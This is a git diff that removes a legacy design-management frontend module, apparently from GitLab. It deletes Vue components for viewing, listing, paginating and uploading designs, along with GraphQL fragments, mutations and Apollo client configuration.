diff --git a/app/assets/javascripts/design_management_legacy/components/image.vue b/app/assets/javascripts/design_management_legacy/components/image.vue
deleted file mode 100644
index 91b7b576e0c..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/image.vue
+++ /dev/null
@@ -1,110 +0,0 @@
-<script>
-import { throttle } from 'lodash';
-import { GlIcon } from '@gitlab/ui';
-
-export default {
- components: {
- GlIcon,
- },
- props: {
- image: {
- type: String,
- required: false,
- default: '',
- },
- name: {
- type: String,
- required: false,
- default: '',
- },
- scale: {
- type: Number,
- required: false,
- default: 1,
- },
- },
- data() {
- return {
- baseImageSize: null,
- imageStyle: null,
- imageError: false,
- };
- },
- watch: {
- scale(val) {
- this.zoom(val);
- },
- },
- beforeDestroy() {
- window.removeEventListener('resize', this.resizeThrottled, false);
- },
- mounted() {
- this.onImgLoad();
-
- this.resizeThrottled = throttle(() => {
- // NOTE: if imageStyle is set, then baseImageSize
- // won't change due to resize. We must still emit a
- // `resize` event so that the parent can handle
- // resizes appropriately (e.g. for design_overlay)
- this.setBaseImageSize();
- }, 400);
- window.addEventListener('resize', this.resizeThrottled, false);
- },
- methods: {
- onImgLoad() {
- requestIdleCallback(this.setBaseImageSize, { timeout: 1000 });
- },
- onImgError() {
- this.imageError = true;
- },
- setBaseImageSize() {
- const { contentImg } = this.$refs;
- if (!contentImg || contentImg.offsetHeight === 0 || contentImg.offsetWidth === 0) return;
-
- this.baseImageSize = {
- height: contentImg.offsetHeight,
- width: contentImg.offsetWidth,
- };
- this.onResize({ width: this.baseImageSize.width, height: this.baseImageSize.height });
- },
- onResize({ width, height }) {
- this.$emit('resize', { width, height });
- },
- zoom(amount) {
- if (amount === 1) {
- this.imageStyle = null;
- this.$nextTick(() => {
- this.setBaseImageSize();
- });
- return;
- }
- const width = this.baseImageSize.width * amount;
- const height = this.baseImageSize.height * amount;
-
- this.imageStyle = {
- width: `${width}px`,
- height: `${height}px`,
- };
-
- this.onResize({ width, height });
- },
- },
-};
-</script>
-
-<template>
- <div class="m-auto js-design-image">
- <gl-icon v-if="imageError" class="text-secondary-100" name="media-broken" :size="48" />
- <img
- v-show="!imageError"
- ref="contentImg"
- class="mh-100"
- :src="image"
- :alt="name"
- :style="imageStyle"
- :class="{ 'img-fluid': !imageStyle }"
- @error="onImgError"
- @load="onImgLoad"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/list/item.vue b/app/assets/javascripts/design_management_legacy/components/list/item.vue
deleted file mode 100644
index 13c703b8a88..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/list/item.vue
+++ /dev/null
@@ -1,174 +0,0 @@
-<script>
-import { GlLoadingIcon, GlIcon, GlIntersectionObserver } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
-import Timeago from '~/vue_shared/components/time_ago_tooltip.vue';
-import { n__, __ } from '~/locale';
-import { DESIGN_ROUTE_NAME } from '../../router/constants';
-
-export default {
- components: {
- GlLoadingIcon,
- GlIntersectionObserver,
- GlIcon,
- Icon,
- Timeago,
- },
- props: {
- id: {
- type: [Number, String],
- required: true,
- },
- event: {
- type: String,
- required: true,
- },
- notesCount: {
- type: Number,
- required: true,
- },
- image: {
- type: String,
- required: true,
- },
- filename: {
- type: String,
- required: true,
- },
- updatedAt: {
- type: String,
- required: false,
- default: null,
- },
- isUploading: {
- type: Boolean,
- required: false,
- default: true,
- },
- imageV432x230: {
- type: String,
- required: false,
- default: null,
- },
- },
- data() {
- return {
- imageLoading: true,
- imageError: false,
- wasInView: false,
- };
- },
- computed: {
- icon() {
- const normalizedEvent = this.event.toLowerCase();
- const icons = {
- creation: {
- name: 'file-addition-solid',
- classes: 'text-success-500',
- tooltip: __('Added in this version'),
- },
- modification: {
- name: 'file-modified-solid',
- classes: 'text-primary-500',
- tooltip: __('Modified in this version'),
- },
- deletion: {
- name: 'file-deletion-solid',
- classes: 'text-danger-500',
- tooltip: __('Deleted in this version'),
- },
- };
-
- return icons[normalizedEvent] ? icons[normalizedEvent] : {};
- },
- notesLabel() {
- return n__('%d comment', '%d comments', this.notesCount);
- },
- imageLink() {
- return this.wasInView ? this.imageV432x230 || this.image : '';
- },
- showLoadingSpinner() {
- return this.imageLoading || this.isUploading;
- },
- showImageErrorIcon() {
- return this.wasInView && this.imageError;
- },
- showImage() {
- return !this.showLoadingSpinner && !this.showImageErrorIcon;
- },
- },
- methods: {
- onImageLoad() {
- this.imageLoading = false;
- this.imageError = false;
- },
- onImageError() {
- this.imageLoading = false;
- this.imageError = true;
- },
- onAppear() {
- // do nothing if image has previously
- // been in view
- if (this.wasInView) {
- return;
- }
-
- this.wasInView = true;
- this.imageLoading = true;
- },
- },
- DESIGN_ROUTE_NAME,
-};
-</script>
-
-<template>
- <router-link
- :to="{
- name: $options.DESIGN_ROUTE_NAME,
- params: { id: filename },
- query: $route.query,
- }"
- class="card cursor-pointer text-plain js-design-list-item design-list-item"
- >
- <div class="card-body p-0 d-flex-center overflow-hidden position-relative">
- <div v-if="icon.name" data-testid="designEvent" class="design-event position-absolute">
- <span :title="icon.tooltip" :aria-label="icon.tooltip">
- <icon :name="icon.name" :size="18" :class="icon.classes" />
- </span>
- </div>
- <gl-intersection-observer @appear="onAppear">
- <gl-loading-icon v-if="showLoadingSpinner" size="md" />
- <gl-icon
- v-else-if="showImageErrorIcon"
- name="media-broken"
- class="text-secondary"
- :size="32"
- />
- <img
- v-show="showImage"
- :src="imageLink"
- :alt="filename"
- class="block mx-auto mw-100 mh-100 design-img"
- data-qa-selector="design_image"
- @load="onImageLoad"
- @error="onImageError"
- />
- </gl-intersection-observer>
- </div>
- <div class="card-footer d-flex w-100">
- <div class="d-flex flex-column str-truncated-100">
- <span class="bold str-truncated-100" data-qa-selector="design_file_name">{{
- filename
- }}</span>
- <span v-if="updatedAt" class="str-truncated-100">
- {{ __('Updated') }} <timeago :time="updatedAt" tooltip-placement="bottom" />
- </span>
- </div>
- <div v-if="notesCount" class="ml-auto d-flex align-items-center text-secondary">
- <icon name="comments" class="ml-1" />
- <span :aria-label="notesLabel" class="ml-1">
- {{ notesCount }}
- </span>
- </div>
- </div>
- </router-link>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/toolbar/index.vue b/app/assets/javascripts/design_management_legacy/components/toolbar/index.vue
deleted file mode 100644
index b998dfc47b8..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/toolbar/index.vue
+++ /dev/null
@@ -1,126 +0,0 @@
-<script>
-import { GlDeprecatedButton } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
-import timeagoMixin from '~/vue_shared/mixins/timeago';
-import Pagination from './pagination.vue';
-import DeleteButton from '../delete_button.vue';
-import permissionsQuery from '../../graphql/queries/design_permissions.query.graphql';
-import appDataQuery from '../../graphql/queries/app_data.query.graphql';
-import { DESIGNS_ROUTE_NAME } from '../../router/constants';
-
-export default {
- components: {
- Icon,
- Pagination,
- DeleteButton,
- GlDeprecatedButton,
- },
- mixins: [timeagoMixin],
- props: {
- id: {
- type: String,
- required: true,
- },
- isDeleting: {
- type: Boolean,
- required: true,
- },
- filename: {
- type: String,
- required: false,
- default: '',
- },
- updatedAt: {
- type: String,
- required: false,
- default: null,
- },
- updatedBy: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- isLatestVersion: {
- type: Boolean,
- required: true,
- },
- image: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- permissions: {
- createDesign: false,
- },
- projectPath: '',
- issueIid: null,
- };
- },
- apollo: {
- appData: {
- query: appDataQuery,
- manual: true,
- result({ data: { projectPath, issueIid } }) {
- this.projectPath = projectPath;
- this.issueIid = issueIid;
- },
- },
- permissions: {
- query: permissionsQuery,
- variables() {
- return {
- fullPath: this.projectPath,
- iid: this.issueIid,
- };
- },
- update: data => data.project.issue.userPermissions,
- },
- },
- computed: {
- updatedText() {
- return sprintf(__('Updated %{updated_at} by %{updated_by}'), {
- updated_at: this.timeFormatted(this.updatedAt),
- updated_by: this.updatedBy.name,
- });
- },
- canDeleteDesign() {
- return this.permissions.createDesign;
- },
- },
- DESIGNS_ROUTE_NAME,
-};
-</script>
-
-<template>
- <header class="d-flex p-2 bg-white align-items-center js-design-header">
- <router-link
- :to="{
- name: $options.DESIGNS_ROUTE_NAME,
- query: $route.query,
- }"
- :aria-label="s__('DesignManagement|Go back to designs')"
- class="mr-3 text-plain d-flex justify-content-center align-items-center"
- >
- <icon :size="18" name="close" />
- </router-link>
- <div class="overflow-hidden d-flex align-items-center">
- <h2 class="m-0 str-truncated-100 gl-font-base">{{ filename }}</h2>
- <small v-if="updatedAt" class="text-secondary">{{ updatedText }}</small>
- </div>
- <pagination :id="id" class="ml-auto flex-shrink-0" />
- <gl-deprecated-button :href="image" class="mr-2">
- <icon :size="18" name="download" />
- </gl-deprecated-button>
- <delete-button
- v-if="isLatestVersion && canDeleteDesign"
- :is-deleting="isDeleting"
- button-variant="danger"
- @deleteSelectedDesigns="$emit('delete')"
- >
- <icon :size="18" name="remove" />
- </delete-button>
- </header>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/toolbar/pagination.vue b/app/assets/javascripts/design_management_legacy/components/toolbar/pagination.vue
deleted file mode 100644
index bf62a8f66a6..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/toolbar/pagination.vue
+++ /dev/null
@@ -1,83 +0,0 @@
-<script>
-/* global Mousetrap */
-import 'mousetrap';
-import { s__, sprintf } from '~/locale';
-import PaginationButton from './pagination_button.vue';
-import allDesignsMixin from '../../mixins/all_designs';
-import { DESIGN_ROUTE_NAME } from '../../router/constants';
-
-export default {
- components: {
- PaginationButton,
- },
- mixins: [allDesignsMixin],
- props: {
- id: {
- type: String,
- required: true,
- },
- },
- computed: {
- designsCount() {
- return this.designs.length;
- },
- currentIndex() {
- return this.designs.findIndex(design => design.filename === this.id);
- },
- paginationText() {
- return sprintf(s__('DesignManagement|%{current_design} of %{designs_count}'), {
- current_design: this.currentIndex + 1,
- designs_count: this.designsCount,
- });
- },
- previousDesign() {
- if (!this.designsCount) return null;
-
- return this.designs[this.currentIndex - 1];
- },
- nextDesign() {
- if (!this.designsCount) return null;
-
- return this.designs[this.currentIndex + 1];
- },
- },
- mounted() {
- Mousetrap.bind('left', () => this.navigateToDesign(this.previousDesign));
- Mousetrap.bind('right', () => this.navigateToDesign(this.nextDesign));
- },
- beforeDestroy() {
- Mousetrap.unbind(['left', 'right'], this.navigateToDesign);
- },
- methods: {
- navigateToDesign(design) {
- if (design) {
- this.$router.push({
- name: DESIGN_ROUTE_NAME,
- params: { id: design.filename },
- query: this.$route.query,
- });
- }
- },
- },
-};
-</script>
-
-<template>
- <div v-if="designsCount" class="d-flex align-items-center">
- {{ paginationText }}
- <div class="btn-group ml-3 mr-3">
- <pagination-button
- :design="previousDesign"
- :title="s__('DesignManagement|Go to previous design')"
- icon-name="angle-left"
- class="js-previous-design"
- />
- <pagination-button
- :design="nextDesign"
- :title="s__('DesignManagement|Go to next design')"
- icon-name="angle-right"
- class="js-next-design"
- />
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/toolbar/pagination_button.vue b/app/assets/javascripts/design_management_legacy/components/toolbar/pagination_button.vue
deleted file mode 100644
index f00ecefca01..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/toolbar/pagination_button.vue
+++ /dev/null
@@ -1,48 +0,0 @@
-<script>
-import Icon from '~/vue_shared/components/icon.vue';
-import { DESIGN_ROUTE_NAME } from '../../router/constants';
-
-export default {
- components: {
- Icon,
- },
- props: {
- design: {
- type: Object,
- required: false,
- default: null,
- },
- title: {
- type: String,
- required: true,
- },
- iconName: {
- type: String,
- required: true,
- },
- },
- computed: {
- designLink() {
- if (!this.design) return {};
-
- return {
- name: DESIGN_ROUTE_NAME,
- params: { id: this.design.filename },
- query: this.$route.query,
- };
- },
- },
-};
-</script>
-
-<template>
- <router-link
- :to="designLink"
- :disabled="!design"
- :class="{ disabled: !design }"
- :aria-label="title"
- class="btn btn-default"
- >
- <icon :name="iconName" />
- </router-link>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/upload/button.vue b/app/assets/javascripts/design_management_legacy/components/upload/button.vue
deleted file mode 100644
index 68555104a3c..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/upload/button.vue
+++ /dev/null
@@ -1,58 +0,0 @@
-<script>
-import { GlDeprecatedButton, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
-import { VALID_DESIGN_FILE_MIMETYPE } from '../../constants';
-
-export default {
- components: {
- GlDeprecatedButton,
- GlLoadingIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- isSaving: {
- type: Boolean,
- required: true,
- },
- },
- methods: {
- openFileUpload() {
- this.$refs.fileUpload.click();
- },
- onFileUploadChange(e) {
- this.$emit('upload', e.target.files);
- },
- },
- VALID_DESIGN_FILE_MIMETYPE,
-};
-</script>
-
-<template>
- <div>
- <gl-deprecated-button
- v-gl-tooltip.hover
- :title="
- s__(
- 'DesignManagement|Adding a design with the same filename replaces the file in a new version.',
- )
- "
- :disabled="isSaving"
- variant="success"
- @click="openFileUpload"
- >
- {{ s__('DesignManagement|Upload designs') }}
- <gl-loading-icon v-if="isSaving" inline class="ml-1" />
- </gl-deprecated-button>
-
- <input
- ref="fileUpload"
- type="file"
- name="design_file"
- :accept="$options.VALID_DESIGN_FILE_MIMETYPE.mimetype"
- class="hide"
- multiple
- @change="onFileUploadChange"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/upload/design_dropzone.vue b/app/assets/javascripts/design_management_legacy/components/upload/design_dropzone.vue
deleted file mode 100644
index e435c84c959..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/upload/design_dropzone.vue
+++ /dev/null
@@ -1,134 +0,0 @@
-<script>
-import { GlIcon, GlLink, GlSprintf } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import uploadDesignMutation from '../../graphql/mutations/upload_design.mutation.graphql';
-import { UPLOAD_DESIGN_INVALID_FILETYPE_ERROR } from '../../utils/error_messages';
-import { isValidDesignFile } from '../../utils/design_management_utils';
-import { VALID_DATA_TRANSFER_TYPE, VALID_DESIGN_FILE_MIMETYPE } from '../../constants';
-
-export default {
- components: {
- GlIcon,
- GlLink,
- GlSprintf,
- },
- data() {
- return {
- dragCounter: 0,
- isDragDataValid: false,
- };
- },
- computed: {
- dragging() {
- return this.dragCounter !== 0;
- },
- },
- methods: {
- isValidUpload(files) {
- return files.every(isValidDesignFile);
- },
- isValidDragDataType({ dataTransfer }) {
- return Boolean(dataTransfer && dataTransfer.types.some(t => t === VALID_DATA_TRANSFER_TYPE));
- },
- ondrop({ dataTransfer = {} }) {
- this.dragCounter = 0;
- // User already had feedback when dropzone was active, so bail here
- if (!this.isDragDataValid) {
- return;
- }
-
- const { files } = dataTransfer;
- if (!this.isValidUpload(Array.from(files))) {
- createFlash(UPLOAD_DESIGN_INVALID_FILETYPE_ERROR);
- return;
- }
-
- this.$emit('change', files);
- },
- ondragenter(e) {
- this.dragCounter += 1;
- this.isDragDataValid = this.isValidDragDataType(e);
- },
- ondragleave() {
- this.dragCounter -= 1;
- },
- openFileUpload() {
- this.$refs.fileUpload.click();
- },
- onDesignInputChange(e) {
- this.$emit('change', e.target.files);
- },
- },
- uploadDesignMutation,
- VALID_DESIGN_FILE_MIMETYPE,
-};
-</script>
-
-<template>
- <div
- class="w-100 position-relative"
- @dragstart.prevent.stop
- @dragend.prevent.stop
- @dragover.prevent.stop
- @dragenter.prevent.stop="ondragenter"
- @dragleave.prevent.stop="ondragleave"
- @drop.prevent.stop="ondrop"
- >
- <slot>
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- @click="openFileUpload"
- >
- <div class="d-flex-center flex-column text-center">
- <gl-icon name="doc-new" :size="48" class="mb-4" />
- <p>
- <gl-sprintf
- :message="
- __(
- '%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}.',
- )
- "
- >
- <template #lineOne="{ content }"
- ><span class="d-block">{{ content }}</span>
- </template>
-
- <template #link="{ content }">
- <gl-link class="h-100 w-100" @click.stop="openFileUpload">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
- </div>
- </button>
-
- <input
- ref="fileUpload"
- type="file"
- name="design_file"
- :accept="$options.VALID_DESIGN_FILE_MIMETYPE.mimetype"
- class="hide"
- multiple
- @change="onDesignInputChange"
- />
- </slot>
- <transition name="design-dropzone-fade">
- <div
- v-show="dragging"
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- >
- <div v-show="!isDragDataValid" class="mw-50 text-center">
- <h3>{{ __('Oh no!') }}</h3>
- <span>{{
- __(
- 'You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.',
- )
- }}</span>
- </div>
- <div v-show="isDragDataValid" class="mw-50 text-center">
- <h3>{{ __('Incoming!') }}</h3>
- <span>{{ __('Drop your designs to start your upload.') }}</span>
- </div>
- </div>
- </transition>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/upload/design_version_dropdown.vue b/app/assets/javascripts/design_management_legacy/components/upload/design_version_dropdown.vue
deleted file mode 100644
index 879d2523848..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/upload/design_version_dropdown.vue
+++ /dev/null
@@ -1,76 +0,0 @@
-<script>
-import { GlDeprecatedDropdown, GlDeprecatedDropdownItem } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
-import allVersionsMixin from '../../mixins/all_versions';
-import { findVersionId } from '../../utils/design_management_utils';
-
-export default {
- components: {
- GlDeprecatedDropdown,
- GlDeprecatedDropdownItem,
- },
- mixins: [allVersionsMixin],
- computed: {
- queryVersion() {
- return this.$route.query.version;
- },
- currentVersionIdx() {
- if (!this.queryVersion) return 0;
-
- const idx = this.allVersions.findIndex(
- version => this.findVersionId(version.node.id) === this.queryVersion,
- );
-
- // if the currentVersionId isn't a valid version (i.e. not in allVersions)
- // then return the latest version (index 0)
- return idx !== -1 ? idx : 0;
- },
- currentVersionId() {
- if (this.queryVersion) return this.queryVersion;
-
- const currentVersion = this.allVersions[this.currentVersionIdx];
- return this.findVersionId(currentVersion.node.id);
- },
- dropdownText() {
- if (this.isLatestVersion) {
- return __('Showing Latest Version');
- }
- // allVersions is sorted in reverse chronological order (latest first)
- const currentVersionNumber = this.allVersions.length - this.currentVersionIdx;
-
- return sprintf(__('Showing Version #%{versionNumber}'), {
- versionNumber: currentVersionNumber,
- });
- },
- },
- methods: {
- findVersionId,
- },
-};
-</script>
-
-<template>
- <gl-deprecated-dropdown :text="dropdownText" variant="link" class="design-version-dropdown">
- <gl-deprecated-dropdown-item v-for="(version, index) in allVersions" :key="version.node.id">
- <router-link
- class="d-flex js-version-link"
- :to="{ path: $route.path, query: { version: findVersionId(version.node.id) } }"
- >
- <div class="flex-grow-1 ml-2">
- <div>
- <strong
- >{{ __('Version') }} {{ allVersions.length - index }}
- <span v-if="findVersionId(version.node.id) === latestVersionId"
- >({{ __('latest') }})</span
- >
- </strong>
- </div>
- </div>
- <i
- v-if="findVersionId(version.node.id) === currentVersionId"
- class="fa fa-check float-right gl-mr-2"
- ></i>
- </router-link>
- </gl-deprecated-dropdown-item>
- </gl-deprecated-dropdown>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/constants.js b/app/assets/javascripts/design_management_legacy/constants.js
deleted file mode 100644
index 21ff361a277..00000000000
--- a/app/assets/javascripts/design_management_legacy/constants.js
+++ /dev/null
@@ -1,16 +0,0 @@
-// WARNING: replace this with something
-// more sensical as per https://gitlab.com/gitlab-org/gitlab/issues/118611
-export const VALID_DESIGN_FILE_MIMETYPE = {
- mimetype: 'image/*',
- regex: /image\/.+/,
-};
-
-// https://developer.mozilla.org/en-US/docs/Web/API/DataTransfer/types
-export const VALID_DATA_TRANSFER_TYPE = 'Files';
-
-export const ACTIVE_DISCUSSION_SOURCE_TYPES = {
- pin: 'pin',
- discussion: 'discussion',
-};
-
-export const DESIGN_DETAIL_LAYOUT_CLASSLIST = ['design-detail-layout', 'overflow-hidden', 'm-0'];
diff --git a/app/assets/javascripts/design_management_legacy/graphql.js b/app/assets/javascripts/design_management_legacy/graphql.js
deleted file mode 100644
index fae337aa75b..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import { uniqueId } from 'lodash';
-import { defaultDataIdFromObject } from 'apollo-cache-inmemory';
-import createDefaultClient from '~/lib/graphql';
-import activeDiscussionQuery from './graphql/queries/active_discussion.query.graphql';
-import typeDefs from './graphql/typedefs.graphql';
-
-Vue.use(VueApollo);
-
-const resolvers = {
- Mutation: {
- updateActiveDiscussion: (_, { id = null, source }, { cache }) => {
- const data = cache.readQuery({ query: activeDiscussionQuery });
- data.activeDiscussion = {
- __typename: 'ActiveDiscussion',
- id,
- source,
- };
- cache.writeQuery({ query: activeDiscussionQuery, data });
- },
- },
-};
-
-const defaultClient = createDefaultClient(
- resolvers,
- // This config is added temporarily to resolve an issue with duplicate design IDs.
- // Should be removed as soon as https://gitlab.com/gitlab-org/gitlab/issues/13495 is resolved
- {
- cacheConfig: {
- dataIdFromObject: object => {
- // eslint-disable-next-line no-underscore-dangle, @gitlab/require-i18n-strings
- if (object.__typename === 'Design') {
- return object.id && object.image ? `${object.id}-${object.image}` : uniqueId();
- }
- return defaultDataIdFromObject(object);
- },
- },
- typeDefs,
- },
-);
-
-export default new VueApollo({
- defaultClient,
-});
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/design.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/design.fragment.graphql
deleted file mode 100644
index 4b1703e41c3..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/design.fragment.graphql
+++ /dev/null
@@ -1,24 +0,0 @@
-#import "./design_note.fragment.graphql"
-#import "./design_list.fragment.graphql"
-#import "./diff_refs.fragment.graphql"
-#import "./discussion_resolved_status.fragment.graphql"
-
-fragment DesignItem on Design {
- ...DesignListItem
- fullPath
- diffRefs {
- ...DesignDiffRefs
- }
- discussions {
- nodes {
- id
- replyId
- ...ResolvedStatus
- notes {
- nodes {
- ...DesignNote
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/design_list.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/design_list.fragment.graphql
deleted file mode 100644
index bc3132f9b42..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/design_list.fragment.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-fragment DesignListItem on Design {
- id
- event
- filename
- notesCount
- image
- imageV432x230
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/design_note.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/design_note.fragment.graphql
deleted file mode 100644
index 26edd2c0be1..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/design_note.fragment.graphql
+++ /dev/null
@@ -1,29 +0,0 @@
-#import "./diff_refs.fragment.graphql"
-#import "~/graphql_shared/fragments/author.fragment.graphql"
-#import "./note_permissions.fragment.graphql"
-
-fragment DesignNote on Note {
- id
- author {
- ...Author
- }
- body
- bodyHtml
- createdAt
- resolved
- position {
- diffRefs {
- ...DesignDiffRefs
- }
- x
- y
- height
- width
- }
- userPermissions {
- ...DesignNotePermissions
- }
- discussion {
- id
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/diff_refs.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/diff_refs.fragment.graphql
deleted file mode 100644
index 984a55814b0..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/diff_refs.fragment.graphql
+++ /dev/null
@@ -1,5 +0,0 @@
-fragment DesignDiffRefs on DiffRefs {
- baseSha
- startSha
- headSha
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/discussion_resolved_status.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/discussion_resolved_status.fragment.graphql
deleted file mode 100644
index 7483b508721..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/discussion_resolved_status.fragment.graphql
+++ /dev/null
@@ -1,9 +0,0 @@
-fragment ResolvedStatus on Discussion {
- resolvable
- resolved
- resolvedAt
- resolvedBy {
- name
- webUrl
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/note_permissions.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/note_permissions.fragment.graphql
deleted file mode 100644
index c243e39f3d3..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/note_permissions.fragment.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-fragment DesignNotePermissions on NotePermissions {
- adminNote
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/fragments/version.fragment.graphql b/app/assets/javascripts/design_management_legacy/graphql/fragments/version.fragment.graphql
deleted file mode 100644
index 7eb40b12f51..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/fragments/version.fragment.graphql
+++ /dev/null
@@ -1,4 +0,0 @@
-fragment VersionListItem on DesignVersion {
- id
- sha
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/create_image_diff_note.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/create_image_diff_note.mutation.graphql
deleted file mode 100644
index c8ade328120..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/create_image_diff_note.mutation.graphql
+++ /dev/null
@@ -1,21 +0,0 @@
-#import "../fragments/design_note.fragment.graphql"
-
-mutation createImageDiffNote($input: CreateImageDiffNoteInput!) {
- createImageDiffNote(input: $input) {
- note {
- ...DesignNote
- discussion {
- id
- replyId
- notes {
- edges {
- node {
- ...DesignNote
- }
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/create_note.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/create_note.mutation.graphql
deleted file mode 100644
index 184ee6955dc..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/create_note.mutation.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-#import "../fragments/design_note.fragment.graphql"
-
-mutation createNote($input: CreateNoteInput!) {
- createNote(input: $input) {
- note {
- ...DesignNote
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/destroy_design.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/destroy_design.mutation.graphql
deleted file mode 100644
index 0b3cf636cdb..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/destroy_design.mutation.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-#import "../fragments/version.fragment.graphql"
-
-mutation destroyDesign($filenames: [String!]!, $projectPath: ID!, $iid: ID!) {
- designManagementDelete(input: { projectPath: $projectPath, iid: $iid, filenames: $filenames }) {
- version {
- ...VersionListItem
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/toggle_resolve_discussion.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/toggle_resolve_discussion.mutation.graphql
deleted file mode 100644
index 1157fc05d5f..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/toggle_resolve_discussion.mutation.graphql
+++ /dev/null
@@ -1,17 +0,0 @@
-#import "../fragments/design_note.fragment.graphql"
-#import "../fragments/discussion_resolved_status.fragment.graphql"
-
-mutation toggleResolveDiscussion($id: ID!, $resolve: Boolean!) {
- discussionToggleResolve(input: { id: $id, resolve: $resolve }) {
- discussion {
- id
- ...ResolvedStatus
- notes {
- nodes {
- ...DesignNote
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/update_active_discussion.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/update_active_discussion.mutation.graphql
deleted file mode 100644
index a24b6737159..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/update_active_discussion.mutation.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation updateActiveDiscussion($id: String, $source: String) {
- updateActiveDiscussion(id: $id, source: $source) @client
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/update_image_diff_note.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/update_image_diff_note.mutation.graphql
deleted file mode 100644
index 5562ca9d89f..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/update_image_diff_note.mutation.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-#import "../fragments/design_note.fragment.graphql"
-
-mutation updateImageDiffNote($input: UpdateImageDiffNoteInput!) {
- updateImageDiffNote(input: $input) {
- errors
- note {
- ...DesignNote
- }
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/update_note.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/update_note.mutation.graphql
deleted file mode 100644
index b995e99fb6a..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/update_note.mutation.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-#import "../fragments/design_note.fragment.graphql"
-
-mutation updateNote($input: UpdateNoteInput!) {
- updateNote(input: $input) {
- note {
- ...DesignNote
- }
- errors
- }
-}
